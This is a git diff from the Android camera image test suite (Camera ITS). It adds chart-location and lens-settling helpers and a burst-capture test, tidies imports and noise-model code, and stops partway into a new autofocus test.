diff --git a/.gitignore b/.gitignore
index dbd5bcf..88eb857 100644
--- a/.gitignore
+++ b/.gitignore
@@ -9,3 +9,4 @@
 .idea/
 gen/
 *.iml
+*.class
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
new file mode 100644
index 0000000..e5c8d7a
--- /dev/null
+++ b/PREUPLOAD.cfg
@@ -0,0 +1,10 @@
+[Hook Scripts]
+checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
+                  -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
+                      apps/CtsVerifierUSBCompanion/
+                      tests/tests/animation/
+                      tests/tests/print/
+                      tests/tests/text/
+                      tests/tests/transition/
+                      tests/tests/view/
+                      tests/tests/widget/
diff --git a/apps/CameraITS/CameraITS.pdf b/apps/CameraITS/CameraITS.pdf
index 80b5e10..5eb3af3 100644
--- a/apps/CameraITS/CameraITS.pdf
+++ b/apps/CameraITS/CameraITS.pdf
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
new file mode 100644
index 0000000..83e654e
--- /dev/null
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -0,0 +1,197 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import matplotlib
+matplotlib.use('Agg')
+
+import its.error
+from matplotlib import pylab
+import sys
+from PIL import Image
+import numpy
+import math
+import unittest
+import cStringIO
+import scipy.stats
+import copy
+import cv2
+import os
+
+def scale_img(img, scale=1.0):
+    """Scale and image based on a real number scale factor."""
+    dim = (int(img.shape[1]*scale), int(img.shape[0]*scale))
+    return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
+
+class Chart(object):
+    """Definition for chart object.
+
+    Defines PNG reference file, chart size and distance, and scaling range.
+    """
+
+    def __init__(self, chart_file, height, distance, scale_start, scale_stop,
+                 scale_step):
+        """Initial constructor for class.
+
+        Args:
+            chart_file:     str; absolute path to png file of chart
+            height:         float; height in cm of displayed chart
+            distance:       float; distance in cm from camera of displayed chart
+            scale_start:    float; start value for scaling for chart search
+            scale_stop:     float; stop value for scaling for chart search
+            scale_step:     float; step value for scaling for chart search
+        """
+        self._file = chart_file
+        self._height = height
+        self._distance = distance
+        self._scale_start = scale_start
+        self._scale_stop = scale_stop
+        self._scale_step = scale_step
+
+    def _calc_scale_factors(self, cam, props, fmt, s, e, fd):
+        """Take an image with s, e, & fd to find the chart location.
+
+        Args:
+            cam:            An open device session.
+            props:          Properties of cam
+            fmt:            Image format for the capture
+            s:              Sensitivity for the AF request as defined in
+                            android.sensor.sensitivity
+            e:              Exposure time for the AF request as defined in
+                            android.sensor.exposureTime
+            fd:             float; autofocus lens position
+        Returns:
+            template:       numpy array; chart template for locator
+            img_3a:         numpy array; RGB image for chart location
+            scale_factor:   float; scaling factor for chart search
+        """
+        req = its.objects.manual_capture_request(s, e)
+        req['android.lens.focusDistance'] = fd
+        cap_chart = its.image.stationary_lens_cap(cam, req, fmt)
+        img_3a = its.image.convert_capture_to_rgb_image(cap_chart, props)
+        img_3a = its.image.flip_mirror_img_per_argv(img_3a)
+        its.image.write_image(img_3a, 'af_scene.jpg')
+        template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
+        focal_l = cap_chart['metadata']['android.lens.focalLength']
+        pixel_pitch = (props['android.sensor.info.physicalSize']['height'] /
+                       img_3a.shape[0])
+        print ' Chart distance: %.2fcm' % self._distance
+        print ' Chart height: %.2fcm' % self._height
+        print ' Focal length: %.2fmm' % focal_l
+        print ' Pixel pitch: %.2fum' % (pixel_pitch*1E3)
+        print ' Template height: %dpixels' % template.shape[0]
+        chart_pixel_h = self._height * focal_l / (self._distance * pixel_pitch)
+        scale_factor = template.shape[0] / chart_pixel_h
+        print 'Chart/image scale factor = %.2f' % scale_factor
+        return template, img_3a, scale_factor
+
+    def locate(self, cam, props, fmt, s, e, fd):
+        """Find the chart in the image.
+
+        Args:
+            cam:            An open device session
+            props:          Properties of cam
+            fmt:            Image format for the capture
+            s:              Sensitivity for the AF request as defined in
+                            android.sensor.sensitivity
+            e:              Exposure time for the AF request as defined in
+                            android.sensor.exposureTime
+            fd:             float; autofocus lens position
+
+        Returns:
+            xnorm:          float; [0, 1] left loc of chart in scene
+            ynorm:          float; [0, 1] top loc of chart in scene
+            wnorm:          float; [0, 1] width of chart in scene
+            hnorm:          float; [0, 1] height of chart in scene
+        """
+        chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
+                                                          s, e, fd)
+        scale_start = self._scale_start * s_factor
+        scale_stop = self._scale_stop * s_factor
+        scale_step = self._scale_step * s_factor
+        max_match = []
+        # check for normalized image
+        if numpy.amax(scene) <= 1.0:
+            scene = (scene * 255.0).astype(numpy.uint8)
+        if len(scene.shape) == 2:
+            scene_gray = scene.copy()
+        elif len(scene.shape) == 3:
+            if scene.shape[2] == 1:
+                scene_gray = scene[:, :, 0]
+            else:
+                scene_gray = cv2.cvtColor(scene.copy(), cv2.COLOR_RGB2GRAY)
+        print 'Finding chart in scene...'
+        for scale in numpy.arange(scale_start, scale_stop, scale_step):
+            scene_scaled = scale_img(scene_gray, scale)
+            result = cv2.matchTemplate(scene_scaled, chart, cv2.TM_CCOEFF)
+            _, opt_val, _, top_left_scaled = cv2.minMaxLoc(result)
+            # print out scale and match
+            print ' scale factor: %.3f, opt val: %.f' % (scale, opt_val)
+            max_match.append((opt_val, top_left_scaled))
+
+        # determine if optimization results are valid
+        opt_values = [x[0] for x in max_match]
+        if 2.0*min(opt_values) > max(opt_values):
+            estring = ('Unable to find chart in scene!\n'
+                       'Check camera distance and self-reported '
+                       'pixel pitch, focal length and hyperfocal distance.')
+            raise its.error.Error(estring)
+        # find max and draw bbox
+        match_index = max_match.index(max(max_match, key=lambda x: x[0]))
+        scale = scale_start + scale_step * match_index
+        print 'Optimum scale factor: %.3f' %  scale
+        top_left_scaled = max_match[match_index][1]
+        h, w = chart.shape
+        bottom_right_scaled = (top_left_scaled[0] + w, top_left_scaled[1] + h)
+        top_left = (int(top_left_scaled[0]/scale),
+                    int(top_left_scaled[1]/scale))
+        bottom_right = (int(bottom_right_scaled[0]/scale),
+                        int(bottom_right_scaled[1]/scale))
+        wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
+        hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
+        xnorm = float(top_left[0]) / scene.shape[1]
+        ynorm = float(top_left[1]) / scene.shape[0]
+        return xnorm, ynorm, wnorm, hnorm
+
+
+class __UnitTest(unittest.TestCase):
+    """Run a suite of unit tests on this module.
+    """
+
+    def test_compute_image_sharpness(self):
+        """Unit test for compute_img_sharpness.
+
+        Test by using PNG of ISO12233 chart and blurring intentionally.
+        'sharpness' should drop off by sqrt(2) for 2x blur of image.
+
+        We do one level of blur as PNG image is not perfect.
+        """
+        yuv_full_scale = 1023.0
+        chart_file = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules',
+                                  'its', 'test_images', 'ISO12233.png')
+        chart = cv2.imread(chart_file, cv2.IMREAD_ANYDEPTH)
+        white_level = numpy.amax(chart).astype(float)
+        sharpness = {}
+        for j in [2, 4, 8]:
+            blur = cv2.blur(chart, (j, j))
+            blur = blur[:, :, numpy.newaxis]
+            sharpness[j] = (yuv_full_scale *
+                    its.image.compute_image_sharpness(blur / white_level))
+        self.assertTrue(numpy.isclose(sharpness[2]/sharpness[4],
+                                      numpy.sqrt(2), atol=0.1))
+        self.assertTrue(numpy.isclose(sharpness[4]/sharpness[8],
+                                      numpy.sqrt(2), atol=0.1))
+
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index b3a7055..26af162 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -26,6 +26,9 @@
 import numpy
 import string
 
+CMD_DELAY = 1  # seconds
+
+
 class ItsSession(object):
     """Controls a device over adb to run ITS scripts.
 
@@ -200,6 +203,10 @@
 
         # TODO: Figure out why "--user 0" is needed, and fix the problem.
         _run('%s shell am force-stop --user 0 %s' % (self.adb, self.PACKAGE))
+        _run(('%s shell am start --user 0 '
+              'com.android.cts.verifier/.camera.its.ItsTestActivity '
+              '--activity-brought-to-front') % self.adb)
+        time.sleep(CMD_DELAY)
         _run(('%s shell am startservice --user 0 -t text/plain '
               '-a %s') % (self.adb, self.INTENT_START))
 
@@ -389,6 +396,7 @@
 
         Triggers some or all of AE, AWB, and AF, and returns once they have
         converged. Uses the vendor 3A that is implemented inside the HAL.
+        Note: do_awb is always enabled regardless of do_awb flag
 
         Throws an assertion if 3A fails to converge.
 
@@ -416,8 +424,8 @@
             Five values are returned if get_results is true::
             * AE sensitivity; None if do_ae is False
             * AE exposure time; None if do_ae is False
-            * AWB gains (list); None if do_awb is False
-            * AWB transform (list); None if do_awb is false
+            * AWB gains (list);
+            * AWB transform (list);
             * AF focus position; None if do_af is false
             Otherwise, it returns five None values.
         """
@@ -447,9 +455,11 @@
             data,_ = self.__read_response_from_socket()
             vals = data['strValue'].split()
             if data['tag'] == 'aeResult':
-                ae_sens, ae_exp = [int(i) for i in vals]
+                if do_ae:
+                    ae_sens, ae_exp = [int(i) for i in vals]
             elif data['tag'] == 'afResult':
-                af_dist = float(vals[0])
+                if do_af:
+                    af_dist = float(vals[0])
             elif data['tag'] == 'awbResult':
                 awb_gains = [float(f) for f in vals[:4]]
                 awb_transform = [float(f) for f in vals[4:]]
@@ -579,7 +589,10 @@
         channel is computed, and the do_capture call returns two 4-element float
         images of dimensions (rawWidth / gridWidth, rawHeight / gridHeight),
         concatenated back-to-back, where the first iamge contains the 4-channel
-        means and the second contains the 4-channel variances.
+        means and the second contains the 4-channel variances. Note that only
+        pixels in the active array crop region are used; pixels outside this
+        region (for example optical black rows) are cropped out before the
+        gridding and statistics computation is performed.
 
         For the rawStats format, if the gridWidth is not provided then the raw
         image width is used as the default, and similarly for gridHeight. With
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 0057eb7..d47a995 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -16,15 +16,16 @@
 matplotlib.use('Agg')
 
 import its.error
-import pylab
+from matplotlib import pylab
 import sys
-import Image
+from PIL import Image
 import numpy
 import math
 import unittest
 import cStringIO
 import scipy.stats
 import copy
+import os
 
 DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([
                                 [1.000,  0.000,  1.402],
@@ -43,6 +44,10 @@
 
 MAX_LUT_SIZE = 65536
 
+NUM_TRYS = 2
+NUM_FRAMES = 4
+
+
 def convert_capture_to_rgb_image(cap,
                                  ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
                                  yuv_off=DEFAULT_YUV_OFFSETS,
@@ -74,7 +79,7 @@
         return convert_yuv420_planar_to_rgb_image(y, u, v, w, h)
     elif cap["format"] == "jpeg":
         return decompress_jpeg_to_rgb_image(cap["data"])
-    elif cap["format"] == "raw":
+    elif cap["format"] == "raw" or cap["format"] == "rawStats":
         assert(props is not None)
         r,gr,gb,b = convert_capture_to_planes(cap, props)
         return convert_raw_to_rgb_image(r,gr,gb,b, props, cap["metadata"])
@@ -209,9 +214,11 @@
         Returns Y,U,V planes, where the Y plane is full-res and the U,V planes
         are each 1/2 x 1/2 of the full res.
 
-    For Bayer captures ("raw" or "raw10"):
+    For Bayer captures ("raw", "raw10", "raw12", or "rawStats"):
         Returns planes in the order R,Gr,Gb,B, regardless of the Bayer pattern
-        layout. Each plane is 1/2 x 1/2 of the full res.
+        layout. For full-res raw images ("raw", "raw10", "raw12"), each plane
+        is 1/2 x 1/2 of the full res. For "rawStats" images, the mean image
+        is returned.
 
     For JPEG captures ("jpeg"):
         Returns R,G,B full-res planes.
@@ -287,6 +294,12 @@
                 img[1::2].reshape(w*h/2)[1::2].reshape(h/2,w/2,1)]
         idxs = get_canonical_cfa_order(props)
         return [imgs[i] for i in idxs]
+    elif cap["format"] == "rawStats":
+        assert(props is not None)
+        white_level = float(props['android.sensor.info.whiteLevel'])
+        mean_image, var_image = its.image.unpack_rawstats_capture(cap)
+        idxs = get_canonical_cfa_order(props)
+        return [mean_image[:,:,i] / white_level for i in idxs]
     else:
         raise its.error.Error('Invalid format %s' % (cap["format"]))
 
@@ -403,8 +416,9 @@
     Returns:
         The black level value for the specified channel.
     """
-    if cap_res.has_key("android.sensor.dynamicBlackLevel"):
-        black_levels = cap_res["android.sensor.dynamicBlackLevel"]
+    if (cap_res.has_key('android.sensor.dynamicBlackLevel') and
+            cap_res['android.sensor.dynamicBlackLevel'] is not None):
+        black_levels = cap_res['android.sensor.dynamicBlackLevel']
     else:
         black_levels = props['android.sensor.blackLevelPattern']
     idxs = its.image.get_canonical_cfa_order(props)
@@ -720,6 +734,7 @@
     img = numpy.vstack(chs).T.reshape(h/f,w/f,chans)
     return img
 
+
 def compute_image_sharpness(img):
     """Calculate the sharpness of input image.
 
@@ -732,13 +747,63 @@
     """
     chans = img.shape[2]
     assert(chans == 1 or chans == 3)
-    luma = img
-    if (chans == 3):
+    if (chans == 1):
+        luma = img[:, :, 0]
+    elif (chans == 3):
         luma = 0.299 * img[:,:,0] + 0.587 * img[:,:,1] + 0.114 * img[:,:,2]
 
     [gy, gx] = numpy.gradient(luma)
     return numpy.average(numpy.sqrt(gy*gy + gx*gx))
 
+def normalize_img(img):
+    """Normalize the image values to between 0 and 1.
+
+    Args:
+        img: 2-D numpy array of image values
+    Returns:
+        Normalized image
+    """
+    return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
+
+def flip_mirror_img_per_argv(img):
+    """Flip/mirror an image if "flip" or "mirror" is in argv
+
+    Args:
+        img: 2-D numpy array of image values
+    Returns:
+        Flip/mirrored image
+    """
+    img_out = img
+    if "flip" in sys.argv:
+        img_out = numpy.flipud(img_out)
+    if "mirror" in sys.argv:
+        img_out = numpy.fliplr(img_out)
+    return img_out
+
+def stationary_lens_cap(cam, req, fmt):
+    """Take up to NUM_TRYS caps and save the 1st one with lens stationary.
+
+    Args:
+        cam:    open device session
+        req:    capture request
+        fmt:    format for capture
+
+    Returns:
+        capture
+    """
+    trys = 0
+    done = False
+    reqs = [req] * NUM_FRAMES
+    while not done:
+        print 'Waiting for lens to move to correct location...'
+        cap = cam.do_capture(reqs, fmt)
+        done = (cap[NUM_FRAMES-1]['metadata']['android.lens.state'] == 0)
+        print ' status: ', done
+        trys += 1
+        if trys == NUM_TRYS:
+            raise its.error.Error('Cannot settle lens after %d trys!' % trys)
+    return cap[NUM_FRAMES-1]
+
 class __UnitTest(unittest.TestCase):
     """Run a suite of unit tests on this module.
     """
@@ -755,7 +820,7 @@
             [ 7 8 9 ]   [ 0.3 ]   [ 5.0 ]
                mat         x         y
         """
-        mat = numpy.array([[1,2,3],[4,5,6],[7,8,9]])
+        mat = numpy.array([[1,2,3], [4,5,6], [7,8,9]])
         x = numpy.array([0.1,0.2,0.3]).reshape(1,1,3)
         y = apply_matrix_to_image(x, mat).reshape(3).tolist()
         y_ref = [1.4,3.2,5.0]
@@ -763,7 +828,7 @@
         self.assertTrue(passed)
 
     def test_apply_lut_to_image(self):
-        """ Unit test for apply_lut_to_image.
+        """Unit test for apply_lut_to_image.
 
         Test by using a canned set of values on a 1x1 pixel image. The LUT will
         simply double the value of the index:
@@ -779,4 +844,3 @@
 
 if __name__ == '__main__':
     unittest.main()
-
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 0883482..dbddb8e 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -108,7 +108,8 @@
         "android.colorCorrection.gains": [1,1,1,1],
         "android.lens.focusDistance" : f_distance,
         "android.tonemap.mode": 1,
-        "android.shading.mode": 1
+        "android.shading.mode": 1,
+        "android.lens.opticalStabilizationMode": 0
         }
     if linear_tonemap:
         assert(props is not None)
@@ -137,6 +138,7 @@
         "android.control.afMode": 1,
         "android.colorCorrection.mode": 1,
         "android.tonemap.mode": 1,
+        "android.lens.opticalStabilizationMode": 0
         }
 
 def fastest_auto_capture_request(props):
diff --git a/apps/CameraITS/pymodules/its/test_images/ISO12233.png b/apps/CameraITS/pymodules/its/test_images/ISO12233.png
new file mode 100644
index 0000000..f1ffce8
--- /dev/null
+++ b/apps/CameraITS/pymodules/its/test_images/ISO12233.png
Binary files differ
diff --git a/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py b/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py
index e86ebd2..bea50af 100644
--- a/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py
+++ b/apps/CameraITS/tests/dng_noise_model/dng_noise_model.py
@@ -17,16 +17,17 @@
 import its.objects
 import its.image
 import os.path
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot as plt
 import math
-import Image
+import textwrap
 import time
 import numpy as np
 import scipy.stats
 import scipy.signal
 
+
 # Convert a 2D array a to a 4D array with dimensions [tile_size,
 # tile_size, row, col] where row, col are tile indices.
 def tile(a, tile_size):
@@ -35,6 +36,7 @@
     a = a.transpose([1, 3, 0, 2])
     return a
 
+
 def main():
     """Capture a set of raw images with increasing gains and measure the noise.
     """
@@ -75,7 +77,7 @@
     #
     # We can just bake this normalization factor into the high pass
     # filter kernel.
-    f = f/math.sqrt(np.dot(f, f))
+    f /= math.sqrt(np.dot(f, f))
 
     bracket_factor = math.pow(2, bracket_stops)
 
@@ -91,7 +93,7 @@
         print "Max analog sensitivity: %f" % (sens_max_analog)
 
         # Do AE to get a rough idea of where we are.
-        s_ae,e_ae,_,_,_  = \
+        s_ae, e_ae, _, _, _  = \
             cam.do_3a(get_results=True, do_awb=False, do_af=False)
         # Underexpose to get more data for low signal levels.
         auto_e = s_ae*e_ae/bracket_factor
@@ -143,7 +145,7 @@
                     # level.
                     black_level = its.image.get_black_level(
                         pidx, props, cap["metadata"])
-                    p = p*white_level
+                    p *= white_level
                     p = (p - black_level)/(white_level - black_level)
 
                     # Use our high pass filter to filter this plane.
@@ -155,7 +157,7 @@
                         np.var(tile(hp, tile_size), axis=(0, 1)).flatten()
 
                     for (mean, var) in zip(means_tiled, vars_tiled):
-                        # Don't include the tile if it has samples that might 
+                        # Don't include the tile if it has samples that might
                         # be clipped.
                         if mean + 2*math.sqrt(var) < max_signal_level:
                             samples_e.append([mean, var])
@@ -173,7 +175,7 @@
             samples.extend([(round(s), mean, var) for (mean, var) in samples_s])
 
             # Add the linear fit to the plot for this sensitivity.
-            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'r-', 
+            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'r-',
                        label="Linear fit")
             xmax = max([x for (x, _) in samples_s])*1.25
             plt_s.set_xlim(xmin=0, xmax=xmax)
@@ -182,7 +184,7 @@
             plots.append([round(s), fig])
 
             # Move to the next sensitivity.
-            s = s*math.pow(2, 1.0/steps_per_stop)
+            s *= math.pow(2, 1.0/steps_per_stop)
 
         # Grab the sensitivities and line parameters from each sensitivity.
         S_measured = [e[1] for e in measured_models]
@@ -212,12 +214,12 @@
 
         # To avoid overfitting to high ISOs (high variances), divide the system
         # by the gains.
-        a = a/(np.tile(gains, (a.shape[1], 1)).T)
-        b = b/gains
+        a /= (np.tile(gains, (a.shape[1], 1)).T)
+        b /= gains
 
         [A, B, C, D], _, _, _ = np.linalg.lstsq(a, b)
 
-        # Plot the noise model components with the values predicted by the 
+        # Plot the noise model components with the values predicted by the
         # noise model.
         S_model = A*sens + B
         O_model = \
@@ -226,14 +228,14 @@
         (fig, (plt_S, plt_O)) = plt.subplots(2, 1)
         plt_S.set_title("Noise model")
         plt_S.set_ylabel("S")
-        plt_S.loglog(sens, S_measured, 'r+', basex=10, basey=10, 
+        plt_S.loglog(sens, S_measured, 'r+', basex=10, basey=10,
                      label="Measured")
         plt_S.loglog(sens, S_model, 'bx', basex=10, basey=10, label="Model")
         plt_S.legend(loc=2)
 
         plt_O.set_xlabel("ISO")
         plt_O.set_ylabel("O")
-        plt_O.loglog(sens, O_measured, 'r+', basex=10, basey=10, 
+        plt_O.loglog(sens, O_measured, 'r+', basex=10, basey=10,
                      label="Measured")
         plt_O.loglog(sens, O_model, 'bx', basex=10, basey=10, label="Model")
         fig.savefig("%s.png" % (NAME))
@@ -244,7 +246,7 @@
             dg = max(s/sens_max_analog, 1)
             S = A*s + B
             O = C*s*s + D*dg*dg
-            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'b-', 
+            plt_s.plot([0, max_signal_level], [O, O + S*max_signal_level], 'b-',
                        label="Model")
             plt_s.legend(loc=2)
 
@@ -254,38 +256,42 @@
             fig.savefig("%s_samples_iso%04d.png" % (NAME, round(s)))
 
         # Generate the noise model implementation.
-        print """
-        /* Generated test code to dump a table of data for external validation
-         * of the noise model parameters.
-         */
-        #include <stdio.h>
-        #include <assert.h>
-        double compute_noise_model_entry_S(int sens);
-        double compute_noise_model_entry_O(int sens);
-        int main(void) {
-            int sens;
-            for (sens = %d; sens <= %d; sens += 100) {
-                double o = compute_noise_model_entry_O(sens);
-                double s = compute_noise_model_entry_S(sens);
-                printf("%%d,%%lf,%%lf\\n", sens, o, s);
+        noise_model_code = textwrap.dedent("""\
+            /* Generated test code to dump a table of data for external validation
+             * of the noise model parameters.
+             */
+            #include <stdio.h>
+            #include <assert.h>
+            double compute_noise_model_entry_S(int sens);
+            double compute_noise_model_entry_O(int sens);
+            int main(void) {
+                int sens;
+                for (sens = %d; sens <= %d; sens += 100) {
+                    double o = compute_noise_model_entry_O(sens);
+                    double s = compute_noise_model_entry_S(sens);
+                    printf("%%d,%%lf,%%lf\\n", sens, o, s);
+                }
+                return 0;
             }
-            return 0;
-        }
 
-        /* Generated functions to map a given sensitivity to the O and S noise
-         * model parameters in the DNG noise model.
-         */
-        double compute_noise_model_entry_S(int sens) {
-            double s = %e * sens + %e;
-            return s < 0.0 ? 0.0 : s;
-        }
+            /* Generated functions to map a given sensitivity to the O and S noise
+             * model parameters in the DNG noise model.
+             */
+            double compute_noise_model_entry_S(int sens) {
+                double s = %e * sens + %e;
+                return s < 0.0 ? 0.0 : s;
+            }
 
-        double compute_noise_model_entry_O(int sens) {
-            double digital_gain = %s;
-            double o = %e * sens * sens + %e * digital_gain * digital_gain;
-            return o < 0.0 ? 0.0 : o;
-        }
-        """ % (sens_min, sens_max, A, B, digital_gain_cdef, C, D)
+            double compute_noise_model_entry_O(int sens) {
+                double digital_gain = %s;
+                double o = %e * sens * sens + %e * digital_gain * digital_gain;
+                return o < 0.0 ? 0.0 : o;
+            }
+            """ % (sens_min, sens_max, A, B, digital_gain_cdef, C, D))
+        print noise_model_code
+        text_file = open("noise_model.c", "w")
+        text_file.write("%s" % noise_model_code)
+        text_file.close()
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/inprog/test_black_level.py b/apps/CameraITS/tests/inprog/test_black_level.py
index 37dab94..e4038de 100644
--- a/apps/CameraITS/tests/inprog/test_black_level.py
+++ b/apps/CameraITS/tests/inprog/test_black_level.py
@@ -15,7 +15,7 @@
 import its.image
 import its.device
 import its.objects
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/inprog/test_blc_lsc.py b/apps/CameraITS/tests/inprog/test_blc_lsc.py
index ce120a2..32c0c49 100644
--- a/apps/CameraITS/tests/inprog/test_blc_lsc.py
+++ b/apps/CameraITS/tests/inprog/test_blc_lsc.py
@@ -15,7 +15,7 @@
 import its.image
 import its.device
 import its.objects
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/inprog/test_burst_sameness_fullres_auto.py b/apps/CameraITS/tests/inprog/test_burst_sameness_fullres_auto.py
index fa37174..6215dc7 100644
--- a/apps/CameraITS/tests/inprog/test_burst_sameness_fullres_auto.py
+++ b/apps/CameraITS/tests/inprog/test_burst_sameness_fullres_auto.py
@@ -18,7 +18,7 @@
 import its.caps
 import os.path
 import numpy
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot
 
diff --git a/apps/CameraITS/tests/inprog/test_param_black_level_lock.py b/apps/CameraITS/tests/inprog/test_param_black_level_lock.py
index 7d0be92..f76406d 100644
--- a/apps/CameraITS/tests/inprog/test_param_black_level_lock.py
+++ b/apps/CameraITS/tests/inprog/test_param_black_level_lock.py
@@ -15,7 +15,7 @@
 import its.image
 import its.device
 import its.objects
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/inprog/test_param_edge_mode.py b/apps/CameraITS/tests/inprog/test_param_edge_mode.py
index e928f21..3245b4b 100644
--- a/apps/CameraITS/tests/inprog/test_param_edge_mode.py
+++ b/apps/CameraITS/tests/inprog/test_param_edge_mode.py
@@ -15,7 +15,7 @@
 import its.image
 import its.device
 import its.objects
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py
new file mode 100644
index 0000000..e6ee100
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_burst_capture.py
@@ -0,0 +1,40 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import its.image
+import its.device
+import its.objects
+import os.path
+
+def main():
+    """Test capture a burst of full size images is fast enough to not timeout.
+       This test verify that entire capture pipeline can keep up the speed
+       of fullsize capture + CPU read for at least some time.
+    """
+    NAME = os.path.basename(__file__).split(".")[0]
+    NUM_TEST_FRAMES = 20
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        req = its.objects.auto_capture_request()
+        caps = cam.do_capture([req]*NUM_TEST_FRAMES)
+
+        cap = caps[0]
+        img = its.image.convert_capture_to_rgb_image(cap, props=props)
+        img_name = "%s.jpg" % (NAME)
+        its.image.write_image(img, img_name)
+
+if __name__ == '__main__':
+    main()
+
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index 7ea90c3..86445fe 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -18,7 +18,7 @@
 import its.objects
 import its.target
 import time
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
diff --git a/apps/CameraITS/tests/scene0/test_jitter.py b/apps/CameraITS/tests/scene0/test_jitter.py
index c519792..6a156dd 100644
--- a/apps/CameraITS/tests/scene0/test_jitter.py
+++ b/apps/CameraITS/tests/scene0/test_jitter.py
@@ -17,7 +17,7 @@
 import its.device
 import its.objects
 import os.path
-import pylab
+from matplotlib import pylab
 import matplotlib
 import matplotlib.pyplot
 
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index e5fbba5..69ed19d 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -49,7 +49,6 @@
     check('props.has_key("android.info.supportedHardwareLevel")')
     check('props["android.info.supportedHardwareLevel"] is not None')
     check('props["android.info.supportedHardwareLevel"] in [0,1,2,3]')
-    full = getval('props["android.info.supportedHardwareLevel"]') == 1
     manual_sensor = its.caps.manual_sensor(props)
 
     # Test: rollingShutterSkew, and frameDuration tags must all be present,
@@ -75,7 +74,12 @@
     check('props["android.scaler.croppingType"] is not None')
     check('props["android.scaler.croppingType"] in [0,1]')
 
-    assert(not failed)
+    # Test: android.sensor.blackLevelPattern exists for RAW and is not None
+    if its.caps.raw(props):
+        check('props.has_key("android.sensor.blackLevelPattern")')
+        check('props["android.sensor.blackLevelPattern"] is not None')
+
+    assert not failed
 
     if not its.caps.legacy(props):
         # Test: pixel_pitch, FOV, and hyperfocal distance are reasonable
diff --git a/apps/CameraITS/tests/scene1/test_ae_af.py b/apps/CameraITS/tests/scene1/test_ae_af.py
new file mode 100644
index 0000000..626a475
--- /dev/null
+++ b/apps/CameraITS/tests/scene1/test_ae_af.py
@@ -0,0 +1,62 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import its.caps
+import its.device
+import its.target
+
+import numpy
+
